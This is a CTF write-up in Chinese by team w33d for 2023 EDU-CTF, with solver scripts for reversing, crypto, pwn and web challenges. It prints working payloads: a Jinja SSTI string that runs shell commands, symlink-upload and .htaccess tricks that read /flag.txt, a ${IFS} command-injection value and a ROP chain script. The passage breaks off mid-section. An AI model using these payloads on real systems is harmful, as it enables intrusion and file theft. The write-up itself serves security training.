# 2023 EDU-CTF Final / EOF Qual w33d Writeup > Team: w33d > NTU asef18766 > NYCU skps2010 > NYCU as535364 > NYCU AlaRduTP [TOC] ## Mumumu <small>[reverse]</small> 逆了一下,看起來是 C++ 寫的,但扣太多太髒懶得逆,發現 flag_enc 內還有 `{}` 的字元,懷疑此加密是經過 swap 源字串後得來。 接下來嘗試加密字串 `1ab` `bac` 發現加密後的相對位置並不會改變,因此可以猜測字元本身不影響會被 swap 到哪裡,只有長度會影響,而 flag 長度在逆的過程中可以發現是 54,因此只需要找出 0~53 index 的字串會被 swap 到哪裡,對 flag_enc 反向操作即可,script 如下: ```python= import string table = string.printable[:54] swap_table = {} flag = ['A'] * 54 with open('flag_enc') as f: # flag enc 是 string.printable[:54] 被加密後的結果 s = f.readline() for idx in range(len(s)): c = s[idx] swap_table[idx] = table.find(c) with open('flag_enc_real') as f: s = f.readline() for idx in range(len(s)): c = s[idx] flag[swap_table[idx]] = c print(''.join(flag)) ``` Flag: `FLAG{Rub1k5Cub3_To_Got0uH1t0r1_t0_cyb3rp5ych05_6A96A9}` > flag 很有趣,魔術方塊 XD ## Execgen <small>[misc]</small> ```bash= script+='(created by execgen)' echo "#!$script" > "$tmp" ``` 觀察這題的行為,主要是會寫出一個 [Shebang](https://zh.wikipedia.org/zh-tw/Shebang) 的程式,並在最後加上一個 watermark,而在後面除了 binary 路徑外的所有字串會被視作單一 argument,因此會產生以下錯誤 ![](https://hackmd.io/_uploads/rkpvkqKcj.png) 但根據 env 的 manual 有一個 `-S` 是專門來讓 argument 拆開的,manual 如下 > -S, --split-string=S process and split S into separate arguments; used to pass multiple arguments on shebang lines 因此可以透過以下 payload 取得 flag: `/usr/bin/env -S cat /home/chal/flag` ![](https://hackmd.io/_uploads/r1k6_Jvqo.png) flag: `FLAG{t0o0oo_m4ny_w4ys_t0_g37_fl4g}` ## execgen-safe <small>[revenge]</small> 觀察程式碼,發現輸入的內容會被填到檔案的 shebang ,且在輸入內容後面會被加入句子:`(created by execgen)`。此外輸入的內容必須符合正規表達式:`^[A-Za-z0-9 /]*$`。 假設在一個叫做 test.sh 的檔案裡面,只有一行:`#!/bin/cat arg1 arg2`。那在執行此檔案時,相當於執行以下:`/bin/cat 'arg1 arg2' ./test.sh` 。也就是說,不論 /bin/cat 後面有幾項,都會被合併在一起當成一個參數。 由於輸入內容會被加東西,因此不論是使用 cat 或 find ,都會顯示找不到檔案。 試玩一下,發現 shabang 的執行長度有限制,在題目上的最大長度是 255 。所以可以藉由輸入大量空格來讓後面加入的句子被截掉。 > 根據 https://homepages.cwi.nl/~aeb/std/shebang/ > linux 會在超過長度限制時 cut-off shebang 所以輸入以下內容的輸出結果來拿到 flag: ```python s = '/bin/cat /home/chal/flag ' print(s + ' ' * (253 - len(s))) ``` ## Share <small>[web]</small> 上傳後的檔案因為沒有做任何檢查,flag 的權限在 Dockerfile 中也沒有特別處理,因此只要使用 symbolic link 連結檔案到 flag 壓縮後再上傳就好。 ```bash= ln -s /flag.txt filename.txt ``` 瀏覽 `https://share.ctf.zoolab.org/static/{username}/filename.txt` ![](https://hackmd.io/_uploads/rkYpl4h9i.png) Flag: `FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}` ## ShaRcE <small>[revenge]</small> 這次仔細觀察了一下程式碼,可能有問題的地方有: * SQLinjection * safe join 寫爛 * 其他地方導致可以 RCE 因為都有經過參數化處理,一開始排除了 SQLinjection 方向的可能。因此轉向研究 safe join 是否可以跳出 `/app/static/{username}` 的地方,像是 `/app/templates` 如果成功任意寫 template 就可以 SSTI 導致 RCE ```python= def safeJoin(_dir, _sub): filepath = path.join(_dir, _sub) realpath = path.realpath(filepath) if not _dir in path.commonpath((_dir, realpath)): return None return realpath ``` > realpath 會 follow symbolic link 拿到真實路徑 這段程式跟網路上防止 path traversal 的程式幾乎相同,只差在 line 4 網站提供的是 `if _dir != path.commanpath(_dir, realpath)` 經過一些嘗試最高只能跳到 `/app/static`,沒辦法跳到其他路徑。 ```python returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode ``` 靈光一閃,想到或許有問題的是 unzip,開始研究 unzip 的參數,其中下的參數的有 -q, -o, -d,分別代表「不輸出解壓縮檔案名稱」、「強制覆蓋」、「指定解壓縮路徑」,其中 -o 耐人尋味,然後再度~~通靈~~,想到 unzip 或許會 follow symlink,因此第一次先上傳有 symlink 的檔案指向 `/app/templates` 第二次再上傳具有跟 symlink file 同名的資料夾內放有 index.html 帶有 SSTI payload。 zip1: `ln -s /app/templates` zip2: 一個 templates 資料夾內放有 index.html 或 login.html SSTI payload: `{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('/readflag').read() }}` ![](https://hackmd.io/_uploads/r1Z1NN3cj.png) RCE Success! Flag: `FLAG{Pl3aS3_R3m3Mb3r_t0_c13Ar_y0uR_w3B5helL_XD}` > 這題如果有人一直盯著四個網站看說不定可以撿到 Flag ??? ## Washer <small>[misc]</small> 此為程式碼處理輸入選項的部分: ```c if (option == 1) { puts("Content:"); char buf[100] = {}; scanf("%s", buf); if (validate(buf)) { int fd = open(filename, O_CREAT | O_TRUNC | O_WRONLY, S_IRUSR | S_IWUSR | S_IXUSR); write(fd, buf, strlen(buf)); close(fd); } } else if (option == 2) { char buf[100] = {}; int fd = open(filename, O_RDONLY); read(fd, buf, sizeof(buf)); close(fd); printf("Content:\n%s\n", buf); } else if (option == 3) { puts("Curse:"); char buf[100] = {}; scanf("%s", buf); spawn_prog(buf); } else { break; } ``` 觀察程式碼,發現 option 的 0~3 對應四個選項:Write Note, Read Note, Magic, Exit 。 其中 Magic 可執行某個檔案,而 Write Note 可寫內容到某個檔案。但由於他們是使用 scanf ,所以輸入的內容不能有空格。 所以此題的解法是,在 Write Note 時,輸入 `cat${IFS}/flag` 其中 ${IFS} 預設為空格,這樣就會印出 /flag 檔案 。而 Write Note 會將內容寫入檔案:`/tmp/<id>` 其中 id 是隨機產生的,在使用程式時會顯示出來。 接者在 Magic 輸入 `/tmp/<id>` ,就會去執行該檔案,即可得到 flag: Flag: `FLAG{Hmmm_s4nitiz3r_sh0uld_h3lp_right?🤔}` ## donut <small>[reverse]</small> * **core**: step instruction one by one and you will discover it was a dotnet binary (mscorlib.dll) * extract it by NT Soft NET Generic Unpacker and throw it into dotPeek to obtain source code ![](https://hackmd.io/_uploads/S16tTX39j.png) * bruteforce all the result and obtain the flag ```csharp using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Security.Cryptography; namespace dotnut_exp { class Program { static string get_decrypt(byte [] bytes1) { int num = int.Parse(Encoding.UTF8.GetString(bytes1)); if (1000 <= num) { if (num < 10000) { using (MD5 md5 = MD5.Create()) { byte[] hash = md5.ComputeHash(bytes1); BitConverter.ToString(hash).Replace("-", string.Empty).ToLower(); byte[] bytes2 = new byte[24] { (byte) 49, (byte) 8, (byte) 83, (byte) 209, (byte) 4, (byte) 77, (byte) 130, (byte) 36, (byte) 139, (byte) 44, (byte) 248, (byte) 52, (byte) 172, (byte) 0, (byte) 207, (byte) 23, (byte) 17, (byte) 27, (byte) 97, (byte) 254, (byte) 30, (byte) 116, (byte) 143, (byte) 28 }; for (int index = 0; index < bytes2.Length; ++index) bytes2[index] ^= hash[index % hash.Length]; return Encoding.UTF8.GetString(bytes2); } } } return ""; } static void Main(string[] args) { for (int i = 1000; i != 10000; ++i) { var flag = get_decrypt(Encoding.UTF8.GetBytes(i.ToString())); Console.WriteLine($"{i}: {flag}"); if (flag.StartsWith("flag")) { Console.WriteLine($"{i}: {flag}"); } } } } } ``` ## hex <small>[crypto]</small> * **core idea**: create xor mask to make it not a character in range `0`~`9` & `a` ~ `f` * distinguish character & num: xor `0b100000`, characters will become uppercase and nums will be out of bound characters * as for each character, we can brutefore to find possible mask combination ``` 9: 127 8: 126 7: 15 & 118 6: 15 & 119 5: 13 & 116 4: 13 & !116 3: 11 & 119 & 117 2: 11 & 119 & 116 1: 9 & 117 & !118 0: 9 & 117 & 118 ---- f: 95 e: 93 & 36 d: 93 & !36 c: 91 & 37 b: 91 & !37 a: 89 ``` * then we can search the flag byte by byte and obtain result ## how2know_revenge <small>[pwn]</small> * **core**: use `ROPgadget` to find and select gadget then pile up a rop chain ```python= import pwn trash_addr = 0x4DE310 pay = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa" xor_gadget = pwn.p64(0x4074c8) # xor eax, edx ; ret jz_gadget = pwn.p64(0x401C24) # jump to "retn" if rax is 0 import socket from string import digits, ascii_letters, punctuation flag = "" for offset in range(-1, -1 + 0x30): for guessed_char in digits + ascii_letters + punctuation: print(f"\r{flag}{guessed_char}", end="") HOST = 'edu-ctf.zoolab.org' PORT = 10012 payload = (pay + pwn.p64(0x402798) + # 0402798 : pop rsi ; ret pwn.p64(0x4de2e0+offset+1) + # rsi pwn.p64(0x401812) + # 0401812 : pop rdi ; ret pwn.p64(trash_addr) + # rdi pwn.p64(0x43c850) + # mov dl, byte ptr [rsi - 1] ; mov byte ptr [rdi - 1], dl ; ret pwn.p64(0x458237) + # pop rax ; ret pwn.p64(ord(guessed_char)) + # rax xor_gadget + jz_gadget + pwn.p64(0x458237) + # pop rax ; ret pwn.p64(0x401b58) + # rax pwn.p64(0x401b58) # jmp rax ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.settimeout(3) s.recv(666) s.send(payload) try: s.recv(66) except TimeoutError: flag += guessed_char break ``` ## knock <small>[reverse]</small> * **core**: throw it into ILspy to obtain source code ![](https://hackmd.io/_uploads/SJjof43qj.png) * crack the md5 hashes in `Door` ```python from Crypto.Hash import MD5 from string import printable enc = [ "f8c1ceb2b36371166efc805824b59252", "ec0f4a549025dfdc98bda08d25593311", "3261390a0dfd09dc16c3987eba10eb53", "66d986ecb8b4d61c648cebdcc2a5ccb2", "fbd5870d0c8964d2c9575a1e55fb7be9", "c0992476cbd06f4f9bb7439ecee81022", "debf803f8b64d47bcdcb8e6fc1854fd3", "3fa81b15cf1210e01155396b648bbe2f", "05880def669376ef5070966617ccdeea", "0c635429f6905f04790ecc942b1bcf86", "f70ce87784d549677b28dd0932766833", "790b40de039d3f13dea0e51818e08319", "4a5a99441aa7a885192a0530a407ade0", "0058628c972c658654471b36178f163f", "71f9eaf557aaa691984723bf7536b953", "30cbf3c9e5a0e91168f57f1a5af0b6dc", "d9ccfeb048086c336b1d965aee4a6c3d", "cfd0e95c62ddca1bfd1a902761df59f9", "9798150652e2bd5a24dfbfe5e678be9e", "eb275c9f4a7b3e799dabc6fa56305a13", "e7a559cf6b0acbf36087f76a027d55ba", "fe12380219f2285e48928bcb3658550a", "c6b3fb1f238c3a599fcbabb4127ee6b5", "4d15d083b996e4fd0865c79697fb10cd", "4008c526e86cde781976813b1bc3da38", "b0429dde1bbb1372f98a0d1f4c32fa3f", "2447ed4c7337c2c82d2a7bb63f49ec05", "90b247e82e0a0e30c9caf4402840c860", "e17cadf8ee52aa84dfc47d0203d38710", "bf8f4b12d3135fb4af7a1ac72509c9dc", "f2ee0d18cf0694678d32797774128ddd", "c6c24338269e7aeab5161fb191e475c2", "23c6afffd93216e493fec87ee9315b86", "0b93d09e1cdaed8d8e0de39531de182a", "1657d03d5b217d1d237db25d8a4d5489", "3498f0744f6059fb2bf7c778d085c909", "ac38e3f1e8d93a6a8c417165a59bce67", "e1b0e8bb077ef11bdee3cc67ddf9cd7b", "4732293cca5121ab05dd5e254d22acee", "fad3b901ba4258ad9fd71a7302df8148", "1e02fd1f2f4f22f42fb71a8230c3fa35", "75fcc6674ca64f120eaf3aa911870fc9", "ae8612af96882cb771f1a4d8fdb41fc3", "96bba5d198bfa190c2773516badc221d", "47728b786cbeb69d2c7292925f06aaf1", "3f9031bff26fb95509b8cd353bd0a131", "010863115678f4d19f1d4ac2b2db9697", "e944d1b87ad28a9f7c6cf90680483556", "466d818aafd0cdfc0a9ab3b41a02f5d9", "af0a281c8b0ccb7cb43b4b0345a3bb49", "fcb4cb5a6d51bba742fd9d4d73a3449f", "74dfb0110dbb3da8e23bf5fb40af078c", "eb70b854739c9b6cb35f8b2cf77ed64a", "ffe3b6cfa20bb97c909838f7351e4394", "b85ced8f3f11edbd781ee6b0d79fd7b4", "c10b6289b3fd56c1d17ba758960d1c20", "36986e79b356328a1bc32756416bb744", "e2476b0618c7e20c8246f3e274abca03", "9793fd49590b40952f928e7c431d43a9", "c5d774c5e69aea3707e5552b61c85bb2", "672e62fd225560292abdf292caf05a02", "6615c852430df05c405d1df7723e944f", "80fb5e9390b54dd8ef51d7c9a86bde14", "c05cec12c67e0c3f1cdb7ae7363008c4", "59e4e7efc94b52ce3ba792cbd7aaabd4" ] def get_enc(idx:int, chr:int): hs = MD5.new() hs.update(bytes([chr, 109, 100, 53, idx])) return hs.hexdigest() data_dict = {} for i in range(len(enc)): for c in printable: data_dict[get_enc(i, ord(c))] = (i, c) res = "" for h in enc: res += (data_dict[h][1]) print(res) ``` ## nekomatsuri <small>[reverse]</small> * main function ```c int __cdecl main(int argc, const char **argv, const char **envp) { DWORD NumberOfBytesWritten; // [rsp+30h] [rbp-10h] BYREF DWORD ThreadId; // [rsp+34h] [rbp-Ch] BYREF HANDLE hHandle; // [rsp+38h] [rbp-8h] sub_140002320(); scanf("%s", Source); if ( argc <= 2 ) { decode_encrypted(); hHandle = CreateThread(0i64, 0i64, thread_logic, &hFile, 0, &ThreadId); Sleep_0(0x96u); mutate_rc4(WinExec, 8, byte_140010024, 16, 192); byte_14001003C[0] = 13; byte_14001003D = 10; NumberOfBytesWritten = 0; WriteFile(hFile, WinExec, 0xAu, &NumberOfBytesWritten, 0i64); WaitForSingleObject(hHandle, 0xFFFFFFFF); } else { mutate_rc4(byte_140010024, 16, Source, 7, 253); sub_14000194E(argv[1], argv[2]); } return 0; } ``` * with no argument * create a thread to run `thread_logic` * sleep for a little while * decrypt the secret string with `mutated_rc4` * pass secret string to pipe * with one argument * decrypt key secret string passed by no argument process * goto `sub_14000194E` * `decode_encrypted` ```c BOOL (__stdcall *decode_encrypted())(HANDLE hObject) { BOOL (__stdcall *result)(HANDLE); // rax mutate_rc4(byte_140010024, 16, (char *)&unk_140010020, 4, 3); mutate_rc4(kern, 13, byte_140010024, 16, 143); hModule = GetModuleHandleA(kern); mutate_rc4(ProcName, 15, byte_140010024, 16, 78); GetProcAddress_0 = (FARPROC (__stdcall *)(HMODULE, LPCSTR))GetProcAddress(hModule, ProcName); mutate_rc4(byte_14001003C, 13, byte_140010024, 16, 234); CreateThread = (HANDLE (__stdcall *)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddress_0(hModule, byte_14001003C); mutate_rc4(aJdu, 6, byte_140010024, 16, 13); Sleep_0 = (void (__stdcall *)(DWORD))GetProcAddress_0(hModule, aJdu); mutate_rc4(asc_14001004F, 9, byte_140010024, 16, 119); ReadFile = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress_0(hModule, asc_14001004F); mutate_rc4(Destination, 10, byte_140010024, 16, 192); WriteFile = (BOOL (__stdcall *)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress_0(hModule, Destination); mutate_rc4(aO, 20, byte_140010024, 16, 96); WaitForSingleObject = (DWORD (__stdcall *)(HANDLE, DWORD))GetProcAddress_0(hModule, aO); mutate_rc4(byte_140010092, 11, byte_140010024, 16, 167); CreatePipe = (BOOL (__stdcall *)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD))GetProcAddress_0( hModule, byte_140010092); mutate_rc4(byte_14001009D, 15, byte_140010024, 16, 180); CreateProcessA = (BOOL (__stdcall *)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION))GetProcAddress_0(hModule, byte_14001009D); mutate_rc4(aSy, 14, byte_140010024, 16, 249); PeekNamedPipe = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD))GetProcAddress_0(hModule, aSy); mutate_rc4(asc_1400100BA, 12, byte_140010024, 16, 143); result = (BOOL (__stdcall *)(HANDLE))GetProcAddress_0(hModule, asc_1400100BA); CloseHandle = result; return result; } ``` * `thread_logic` ```c BOOL __fastcall thread_logic(LPVOID lpThreadParameter) { BOOL result; // eax DWORD v2; // ecx DWORD NumberOfBytesRead; // [rsp+58h] [rbp-28h] BYREF DWORD TotalBytesAvail; // [rsp+5Ch] [rbp-24h] BYREF char Buffer[256]; // [rsp+60h] [rbp-20h] BYREF struct _PROCESS_INFORMATION ProcessInformation; // [rsp+160h] [rbp+E0h] BYREF struct _STARTUPINFOA StartupInfo; // [rsp+180h] [rbp+100h] BYREF struct _SECURITY_ATTRIBUTES PipeAttributes; // [rsp+1F0h] [rbp+170h] BYREF HANDLE v9; // [rsp+210h] [rbp+190h] BYREF HANDLE hWritePipe; // [rsp+218h] [rbp+198h] BYREF HANDLE hReadPipe; // [rsp+220h] [rbp+1A0h] BYREF BOOL v13; // [rsp+22Ch] [rbp+1ACh] *(_QWORD *)&PipeAttributes.nLength = 24i64; *(_QWORD *)&PipeAttributes.bInheritHandle = 1i64; PipeAttributes.lpSecurityDescriptor = 0i64; result = CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0); if ( result ) { result = CreatePipe(&v9, (PHANDLE)lpThreadParameter, &PipeAttributes, 0); if ( result ) { memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.hStdOutput = hWritePipe; StartupInfo.hStdError = hWritePipe; StartupInfo.hStdInput = v9; StartupInfo.cb = 104; StartupInfo.dwFlags = 257; StartupInfo.wShowWindow = 0; memset(&ProcessInformation, 0, sizeof(ProcessInformation)); mutate_rc4(CommandLine, 28, byte_140010024, 16, 88); strcpy(Destination, Source); if ( CreateProcessA( 0i64, CommandLine, &PipeAttributes, &PipeAttributes, 1, 0, 0i64, 0i64, &StartupInfo, &ProcessInformation) ) { v13 = 0; while ( !v13 ) { v13 = WaitForSingleObject(ProcessInformation.hProcess, 0x32u) == 0; while ( 1 ) { TotalBytesAvail = 0; NumberOfBytesRead = 0; if ( !PeekNamedPipe(hReadPipe, 0i64, 0, 0i64, &TotalBytesAvail, 0i64) || !TotalBytesAvail ) break; v2 = 255; if ( TotalBytesAvail <= 0xFF ) v2 = TotalBytesAvail; if ( !ReadFile(hReadPipe, Buffer, v2, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead ) break; Buffer[NumberOfBytesRead] = 0; } } puts(Buffer); CloseHandle(ProcessInformation.hProcess); CloseHandle(ProcessInformation.hThread); } CloseHandle(hReadPipe); return CloseHandle(hWritePipe); } } return result; } ``` * create process with another secret string and pipe * `sub_14000194E` ```c int __fastcall sub_14000194E(const char *Ch1y0d4m0m0, const char *usr_input) { int j; // [rsp+34h] [rbp-Ch] char v4; // [rsp+3Bh] [rbp-5h] int i; // [rsp+3Ch] [rbp-4h] if ( strlen(usr_input) != 65 ) goto LABEL_10; for ( i = 0; i <= 64; ++i ) usr_input[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)]; mutate_rc4(byte_1400100F6, 65, byte_140010024, 16, 30); v4 = 1; for ( j = 0; j <= 64; ++j ) v4 &= usr_input[j] == (unsigned __int8)byte_1400100F6[j]; if ( v4 ) { mutate_rc4(asc_1400100E2, 11, byte_140010024, 16, 89); return printf("%s", asc_1400100E2); } else { LABEL_10: mutate_rc4(&aJ, 9, byte_140010024, 16, 226); return printf("%s", &aJ); } } ``` * decrypt the string(flag) and compare the encrypted with `byte_1400100F6` * print whether the flag is correct or not * sol ```c #include <stdint.h> #include <stdio.h> #include <string.h> char byte_1400100F6[] = {28, 245, 158, 19, 127, 33, 197, 13, 21, 58, 230, 248, 167, 158, 159, 236, 86, 109, 248, 44, 240, 128, 166, 150, 4, 140, 185, 111, 139, 204, 116, 67, 58, 161, 7, 16, 85, 71, 210, 150, 54, 157, 142, 107, 132, 137, 126, 196, 99, 230, 97, 155, 122, 215, 173, 50, 173, 130, 74, 103, 4, 126, 50, 202, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 246, 0, 64, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0}; char byte_140010024[] = {166, 104, 25, 176, 148, 143, 95, 161, 139, 32, 13, 84, 59, 247, 87, 60, 147, 56, 195, 90, 89, 227, 104, 118, 93, 25, 22, 168, 107, 61, 161, 72, 177, 43, 184, 243, 226, 74, 240, 251, 173, 132, 57, 223, 125, 149, 68, 48, 184, 48, 220, 194, 18, 156, 174, 88, 52, 207, 103, 237, 244, 202, 78, 79, 57, 174, 178, 90, 102, 19, 210, 33, 28, 235, 76, 172, 129, 183, 185, 87, 147, 35, 196, 107, 68, 192, 98, 154, 156, 16, 243, 144, 164, 75, 71, 201, 89, 5, 240, 222}; char asc_1400100E2[] = {35, 0, 99, 37, 94, 26, 103, 177, 5, 241, 247, 74, 166, 67, 128, 87, 46, 236, 108, 122, 28, 245, 158, 19, 127, 33, 197, 13, 21, 58, 230, 248, 167, 158, 159, 236, 86, 109, 248, 44, 240, 128, 166, 150, 4, 140, 185, 111, 139, 204, 116, 67, 58, 161, 7, 16, 85, 71, 210, 150, 54, 157, 142, 107, 132, 137, 126, 196, 99, 230, 97, 155, 122, 215, 173, 50, 173, 130, 74, 103, 4, 126, 50, 202, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 246, 0, 64, 1, 0}; long long xor_cipher(char *str0, signed int str0_len, char *str1, int str1_len, char num) { long long result; // rax char iv[268]; // [rsp+10h] [rbp-70h] char v7; // [rsp+11Ch] [rbp+9Ch] unsigned char v8; // [rsp+11Dh] [rbp+9Dh] char v9; // [rsp+11Eh] [rbp+9Eh] unsigned char v10; // [rsp+11Fh] [rbp+9Fh] int k; // [rsp+120h] [rbp+A0h] int j; // [rsp+124h] [rbp+A4h] int i; // [rsp+128h] [rbp+A8h] unsigned char tmp_buf; // [rsp+12Fh] [rbp+AFh] for ( i = 0; i <= 255; ++i ) iv[i] = i; tmp_buf = 0; for ( j = 0; j <= 255; ++j ) { tmp_buf += iv[j] + str1[j % str1_len]; iv[j] ^= iv[tmp_buf]; iv[tmp_buf] ^= iv[j]; iv[j] ^= iv[tmp_buf]; } tmp_buf = 0; for ( k = 0; ; ++k ) { result = (unsigned int)k; if ( k >= str0_len ) break; v10 = k + 1; v9 = iv[(unsigned char)(k + 1)]; tmp_buf += v9; iv[(unsigned char)(k + 1)] ^= iv[tmp_buf]; iv[tmp_buf] ^= iv[v10]; iv[v10] ^= iv[tmp_buf]; v8 = iv[v10] + v9; v7 = iv[v8]; if ( num >= 0 ) str0[k] = v7 ^ (str0[k] + num); else str0[k] = (v7 ^ str0[k]) + num; } return result; } int sub_14000194E(const char *Ch1y0d4m0m0, char *usr_input) { int j; // [rsp+34h] [rbp-Ch] char v4; // [rsp+3Bh] [rbp-5h] int i; // [rsp+3Ch] [rbp-4h] if ( strlen(usr_input) != 65 ) goto LABEL_10; for ( i = 0; i <= 64; ++i ) usr_input[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)]; xor_cipher(byte_1400100F6, 65, byte_140010024, 16, 30); v4 = 1; for ( j = 0; j <= 64; ++j ) { printf("%d: %d\n", j, byte_1400100F6[j]); v4 &= usr_input[j] == (unsigned char)byte_1400100F6[j]; } if ( v4 ) { xor_cipher(asc_1400100E2, 11, byte_140010024, 16, 89); return printf("%s", asc_1400100E2); } else { LABEL_10: puts("wrong"); } } int main() { char Source[]="WinExec"; char Ch1y0d4m0m0[]="Ch1y0d4m0m0"; xor_cipher(byte_140010024, 16, Source, 7, 253); xor_cipher(byte_1400100F6, 65, byte_140010024, 16, 30); for ( int i = 0; i <= 64; ++i ) byte_1400100F6[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)]; printf("%s\n", byte_1400100F6); } ``` ## Water <small>[revenge]</small><small>[not solved]</small> * **not solved** * current procedure * bof in `scanf` ```c=74 puts("Content:"); char buf[100] = {}; scanf("%s", buf); ``` * capable to ret to some place in `chal`(no-pie) ## Gist <small>[web]</small> 此題有一個可以上傳檔案的網站,並且可以檢視上傳的檔案內容。 ### 程式碼分析 #### index.php ```php=5 if( preg_match('/ph/i', $file['name']) !== 0 || preg_match('/ph/i', file_get_contents($file['tmp_name'])) !== 0 || $file['size'] > 0x100 ){ die("Bad file!"); } ``` 網站主要透過三個條件檢查上傳的檔案: 1. 檔名是否包含 `ph` 2. 檔案內容是否包含 `ph` 3. 檔案大小是否大於 `0x100` Bytes ```php=10 $uploadpath = 'upload/'.md5_file($file['tmp_name']).'/'; @mkdir($uploadpath); move_uploaded_file($file['tmp_name'], $uploadpath.$file['name']); ``` 檔案若是通過測試,便會上傳至 `http://<host>/upload/<hash>/<file_name>`。 - `<hash>` 為檔案內容的 `md5` - `<file_name>` 使用者上傳檔案時的檔案名稱 因此兩者皆為已知且可控。 ### 弱點分析 ```shell $ docker-compose exec web ps x PID TTY STAT TIME COMMAND 1 ? Ss 0:00 apache2 -DFOREGROUND 55 pts/0 Rs+ 0:00 ps x ``` 可以知道 HTTP Server 版本為 `apache2`,因此支援 `.htaccess`。 當請求的目錄底下包含 `.htaccess` 時便會執行該設定檔。 ### <small>Solution #1 </small><br>Trial-and-error Attack #### .htaccess (template) ```htmlmixed <If "file('/flag.txt') =~ m#^{{FLAG}}#"> ErrorDocument 404 "yeee" </If> ``` - `file()` : Read contents from a file ( including line endings, when present ) - `=~` : String matches the regular expression - `m#regexp#` : Regular expression ( An alternative of `/regexp/` ) - `ErrorDocument` : Custom error response with status code and text to be displayed 當 `file('/flag.txt')` 符合 regex 條件,便會將網頁導向印有 `yeee` 字樣的 404 頁面。 不斷更新 `{{FLAG}}` 即可一個字一個字地猜出 FLAG。 #### expoit (pseudocode) ``` Procedure find_flag() flag := "" While flag[-1] != "}" Do Foreach c := PRINTABLE_ASCII Do htaccess := render( HTACCESS_TEMPLATE, flag + c ) post( HOST, file=htaccess ) whatever := HOST + "/upload/" + md5( htaccess ) + "/whatever" response := get( whatever ) If response.body == "yeee" Then flag := flag + c Break End if End for End while Return flag End ``` :::warning 實作時還需注意特殊字元的 escape ( e.g., `*` , `\` , `#` , ... ) ::: ### <small>Solution #2 </small><br>Show the File Directly 處理 regex 的 escape 實在太惱人了,仔細閱讀 **[官方文件](https://httpd.apache.org/docs/2.4/expr.html)** 後發現其他做法。 #### .htaccess ``` ErrorDocument 404 "%{file:/flag.txt}" ``` - `%{func:argv}` : 相當於 `func("argv")` 上傳後瀏覽 `http://<host>/upload/<md5(.htaccess)>/whatever` 即可取得 FLAG : `FLAG{Wh4t_1f_th3_WAF_b3c0m3_preg_match('/h/i',file_get_contents($file['tmp_name']))!==0}` ### <small>TL;DR </small><br>Murmur 得到 FLAG 內的訊息為: What if the WAF become `preg_match('/h/i',file_get_contents($file['tmp_name']))!==0` ? 似乎不影響上述第二種解法,第一種解法也只需要改寫 regex ,避免出現 `h` 即可: - 將 `h` 用 `[^a-gi-zA-GI-Z0-9 _{}]` 之類的取代 總覺得上述兩種方法都不是預期解? ## Trust <small>[web]</small> 此題網站可以上傳自定義 HTML Template、一組對應的 key / value 用於取代 Template 中的元素。 ### 程式碼分析 #### (web) app.js ```javascript=9 app.get("/", function (req, res) { res.sendFile(__dirname + '/views/index.html') }); app.get("/render", function (req, res) { res.sendFile(__dirname + '/views/render.html') }); ``` 可以發現網站後端做的事情並不多,對於 `/` 以及 `/render` 兩個 router 都是直接將 HTML 回傳。 ```javascript=27 const client = net.connect(BOT_PORT, BOT_HOST, () => { client.write(url) }) let response = ''; client.on('data', data => { response = data.toString() client.end() }) client.on('end', () => res.send(response)) ``` 而 `/report` 這個 router 則會使用一個 Bot 模擬使用者瀏覽網頁的行為。 #### index.html ```htmlmixed= <form action=render> <p> <label>HTML</label> <textarea type=text name=html placeholder="Hello, {{name}}"><h1>Hello, {{name}}</h1></textarea> </p> <p> <label>Key</label> <input type=text name=key placeholder="name"> </p> <p> <label>Value</label> <input type=text name=value placeholder="world"> </p> <input type=hidden name=keypath value="key/value"> <input type=hidden name=valuepath value="value/value"> <input type=submit value=Render> </form> ``` 總共有幾個欄位給使用者輸入: - `html` : 自定義的 Template,例如:`<h1>Hello, {{name}}</h1>`。 - `key` : 對應到 Template 的 `{{key}}`,例如 `name`。 - `value` : 用於取代 Template 中 `{{key}}` 的內容,例如 `World`。 此外還有兩個隱藏欄位: - `keypath` : 預設是 `key/value`。 - `valuepath` : 預設是 `value/value`。 以上 5 個欄位皆會在 submit 時作為 url parameters 送出。 #### render.html ```htmlmixed=18 <input type=hidden id=key> <input type=hidden id=value> ``` 存在兩個隱藏的欄位 `key` 以及 `value`。 ```javascript=30 const queryString = window.location.search; const urlParams = new URLSearchParams(queryString); key.value = urlParams.get('key'); value.value = urlParams.get('value'); container.innerHTML = urlParams.get('html').replace(`{{${get(urlParams.get('keypath'))}}}`, get(urlParams.get('valuepath'))); ``` 這裡是主要的 render 邏輯: 1. 將 url parameters 中的 `key` 值存到隱藏的 `<input id=key>` 2. 將 url parameters 中的 `value` 值存到隱藏的 `<input id=value>` 3. 根據 url parameters 中的 `keypath` 值,使用自訂的 `get()` 取得一個 Object。 4. 根據 url parameters 中的 `valuepath` 值,使用自訂的 `get()` 取得一個 Object。 5. 將 url parameters 中的 `html` 值作為 Template,使用步驟 3 / 4 的 key / value 